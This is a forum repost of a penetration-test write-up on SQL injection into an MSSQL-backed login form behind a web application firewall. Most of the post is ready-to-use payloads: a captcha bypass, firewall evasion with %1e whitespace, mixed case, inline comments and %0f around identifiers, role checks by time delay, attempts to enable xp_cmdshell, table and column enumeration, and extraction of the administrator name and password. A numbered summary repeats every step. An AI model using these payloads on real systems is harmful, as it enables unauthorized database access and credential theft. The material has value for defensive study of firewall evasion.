Jump to content

Title: Remember to use a practical MSSQL injection to bypass WAF

Featured Replies

Posted

This test is an authorized test. The username where the injection point logs in in the background is 1049983-20220119230323513-1792880900.png

Verification code exists, and verification can be bypassed by deleting cookies and verification code fields 1049983-20220119230324012-211512998.png 1049983-20220119230324458-401317242.png

Add a single quote and report an error 1049983-20220119230325019-891661708.png

and '1'='1

Connection reset —— is intercepted by WAF 1049983-20220119230325526-1849947822.png

Change case and replace space with MSSQL whitespace [0x00-0x20]

%1eaNd%1e'1'='1

1049983-20220119230326046-384574200.png

Query database version, MSSQL 2012 x64

%1eoR%1e1=@@version%1e--

1049983-20220119230326573-700972169.png

Query the current user

%1eoR%1e1=user%1e--

1049983-20220119230327082-370238786.png

Query whether the current user is dba and db_owner

;if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --

;if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --

Both have delays, the current user is neither dba nor db_owner 1049983-20220119230327604-2105801106.png

Try to execute xp_cmdsehll, no relevant permissions

;eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --

;eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --

1049983-20220119230328132-520648582.png 1049983-20220119230328579-1752454191.png

Query the current database, the connection reset —— is intercepted by WAF

%1eoR%1e1=(db_name()%1e)%1e--

1049983-20220119230329110-639809469.png

Remove a character of the function name and return ——WAF normally filters the function db_name(). MSSQL and MSQL have some similar features, such as: function names and brackets can be filled with comments or whitespace characters.

%1eoR%1e1=(db_name/**/()%1e)%1e--

1049983-20220119230329676-1494737359.png 1049983-20220119230330157-1707607635.png

Query the table of the current database, the connection reset —— is intercepted by WAF

%1eoR%1e1=(SelEct%1eop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--

1049983-20220119230330645-644931403.png

Delete the statement after select and return to normal. In the IIS+ASPX environment, if multiple parameters of the same name are submitted at the same time, the value of the parameters received by the server is multiple values connected with commas. In actual applications, commas can be commented out with the aid of comments.

%1eoR%1e1=(SelEct/*username=*/%1eop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--

Still intercepted 1049983-20220119230331164-1008694086.png

Delete a character of infOrmatiOn_sChema.tAbles and returns normal ——WAF filters infOrmatiOn_sChema.tAbles. When I was learning MYSQL injection, I saw the official document saying this: 'The qualification character is a separate token and need not be contiguous with the associated identifiers.' It can be seen that the qualifier (such as '.') can be inserted into whitespace characters on the left and right, and MSSQL has the same characteristics after testing. infOrmatiOn_sChem.tAbles - infOrmatiOn_sChem%0f.%0ftAbles

%1eoR%1e1=(SelEct/*username=*/%1eop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--

1049983-20220119230331689-857136990.png

The table name can be traversed by not in('table_1','table_2'.) 1049983-20220119230332232-445750851.png

Manual injection is too slow to use this method, query all table names at once

%1eoR%1e1=(SelEct/*username=*/%1equotename(name)%1efRom bak_ptfl%0f.sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--

1049983-20220119230332834-614520212.png

Judging from the table name, the administrator table should be appsadmin, and all columns of the table should be queryed at one time.

%1eoR%1e1=(SelEct/*username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f.syscolumns%1ewHerE%1eid=(selEct/*username=*/%1eid%1efrom%1ebak_ptfl%0f.sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--password=admin

1049983-20220119230333363-1730830597.png

Obtain the administrator username and password fields: AdminName, Password. Query username and password

%1eoR%1e1=(SelEct/*username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--

%1eoR%1e1=(SelEct/*username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--

1049983-20220119230333895-1353679920.png 1049983-20220119230334443-1048969040.png

After decryption, logging into the background successfully 1049983-20220119230334904-1083242178.png

Summary

1. BP packet capture of the target site and found that there is a verification code in the target system

2. Delete the cookie parameters and values in the requested data packet and delete the verification code parameters and values.

3. Make a request again and find no information prompting the verification code error

4. Add single quotes to the username in the requested post packet to report an error

username=amdin'password=admin

5. Test and '1'='1, cannot be displayed, then the target system has WAF

username=amdin' and '1'='1password=admin

6. Change the case of the and keyword, and replace the space with the mssql whitespace ([0x00-0x20]), that is, %1e. You can see the normal echo content

username=amdin'%1eaNd%1e'1'='1password=admin

7. Query the database version

username=amdin'%1eoR%1e1=@@version%1e--password=admin

8. Query the current user

username=amdin'%1eoR%1e1=user%1e--password=admin

9. Query whether the current user is dba and db_owner, both of which have delays. The current user is neither dba nor db_owner

username=amdin';if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --password=admin

username=amdin';if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --password=admin

10. Try to execute xp_cmdsehll, without relevant permissions, prompting xp_cmdshell does not exist

username=amdin';eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --password=admin

username=amdin';eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --password=admin

11. Query the current database name, and the connection reset —— is intercepted by WAF

username=amdin'%1eoR%1e1=(db_name()%1e)%1e--password=admin

12.waf may intercept the db_name() function. Here you can use the function name and parentheses to fill it with comments /**/or whitespace characters to successfully obtain the current database name.

username=amdin'%1eoR%1e1=(db_name/**/()%1e)%1e--password=admin

13. Get the current database table, and the connection reset —— is intercepted by WAF

username=amdin'%1eoR%1e1=(SelEct%1eop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--password=admin

14. Delete the statement after select and return to normal. In the IIS+ASPX environment, if multiple parameters of the same name are submitted at the same time, the value of the parameters received by the server is multiple values connected with commas. In actual applications, commas can be commented out with comments, and they are still intercepted by WAF.

username=amdin'%1eoR%1e1=(SelEct/*username=*/%1eop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChem.tAbles%1e)%1e--password=admin

15. Delete a character of infOrmatiOn_sChema.tAbles and return normal ——WAF filters infOrmatiOn_sChema.tAbles. When I was learning MYSQL injection, I saw the official document saying this: 'The qualification character is a separate token and need not be contiguous with the associated identifiers.' It can be seen that the qualifier (such as '.') can be inserted into whitespace characters on the left and right, and MSSQL has the same characteristics after testing. infOrmatiOn_sChema.tAbles - infOrmatiOn_sChema%0f.%0ftAbles, successfully obtain table name

username=amdin'%1eoR%1e1=(SelEct/*username=*/%1eop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--password=admin

16. Query all table names at once

username=amdin'%1eoR%1e1=(SelEct/*username=*/%1equotename(name)%1efRom bak_ptfl%0f.sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--password=admin

17. Judging from the table name, the administrator table should be appsadmin, and query all columns of the table at once.

username=amdin'%1eoR%1e1=(SelEct/*username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f.syscolumns%1ewHerE%1eid=(selEct/*username=*/%1eid%1efrom%1ebak_ptfl%0f.sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--password=admin

18. Obtain the administrator username and password fields: AdminName, Password. Query username and password

username=amdin'%1eoR%1e1=(SelEct/*username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--password=admin

username=amdin'

%1eoR%1e1=(SelEct/*username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--password=admin

20. Decrypt the password hash value of the username and successfully log in to the background

Original link: https://xz.aliyun.com/t/7487

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.